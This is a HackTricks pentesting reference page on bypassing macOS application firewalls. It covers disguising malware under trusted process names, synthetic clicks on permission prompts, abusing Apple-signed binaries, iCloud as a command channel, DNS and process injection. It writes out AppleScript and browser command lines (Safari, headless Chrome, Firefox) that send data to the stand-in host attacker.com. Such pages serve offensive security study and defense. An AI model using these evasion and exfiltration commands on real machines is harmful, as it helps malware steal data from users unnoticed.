hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

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# macOS Bypassing Firewalls
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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## Found techniques
The following techniques were found working in some macOS firewall apps.
### Abusing whitelist names
* For example calling the malware with names of well known macOS processes like **`launchd`**&#x20;
### Synthetic Click
* If the firewall ask for permission to the user make the malware **click on allow**
### **Use Apple signed binaries**
* Like **`curl`**, but also others like **`whois`**
### Well known apple domains
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
### Generic Bypass
Some ideas to try to bypass firewalls
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### Via Browser apps
* **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
* Google Chrome
{% code overflow="wrap" %}
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
{% endcode %}
* Firefox
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
* Safari
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
{% endcontent-ref %}
## References
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>